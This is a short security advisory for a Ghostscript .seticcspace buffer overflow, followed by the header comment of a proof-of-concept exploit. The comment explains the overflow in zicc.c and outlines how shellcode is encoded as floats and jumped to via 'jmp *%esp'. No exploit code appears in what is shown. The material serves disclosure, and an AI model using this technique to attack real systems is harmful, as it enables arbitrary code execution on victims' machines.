Ghostscript is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue may allow remote attackers to execute arbitrary code in the context of the application. Failed exploit attempts will cause denial-of-service conditions. 

/* A proof of concept exploit for ghostscript 8.61 and earlier.
 *
 * Vulnerability discovered by Chris Evans <[email protected]>
 * Author: [email protected] (Will Drewry)
 *
 * Affects: All versions of ghostscript that support .seticcspace.
 * Tested on: Ubuntu gs-esp-8.15.2.dfsg.0ubuntu1-0ubuntu1 (x86)
 *            Ghostscript 8.61 (2007-11-21) (x86)
 *
 * Discussion:
 *
 * The vulnerability is in the float vector handling in the seticcspace
 * function. zicc.c:seticcspace() allows the user to set the number of
 * expected float values (ncomps) in a vector (range_buff).  However,
 * this vector is statically allocated with the maximum space of 8
 * floats.  Despite this, the call (dict_floats_array_check_param) to
 * populate the array of floats is passed a maximum size of ncomps*2.  A
 * large payload will result in overflowing this array.  Since all the
 * values are read in as single precision floating point values, the
 * payload must be encoded as floats.
 *
 * This exploit encodes a basic metasploit-generated exec(/bin/sh) chunk
 * of shellcode as a list of floats and prepends the address to a "jmp
 * *%esp" in the /usr/bin/gs.
 *
 * This was tested on gs-esp-8.15.2.dfsg.0ubuntu1-0ubuntu1 package in
 * Ubuntu (on a 32-bit-only kernel)  and versions up to 8.61
 * (2007-11-21) on other distributions.
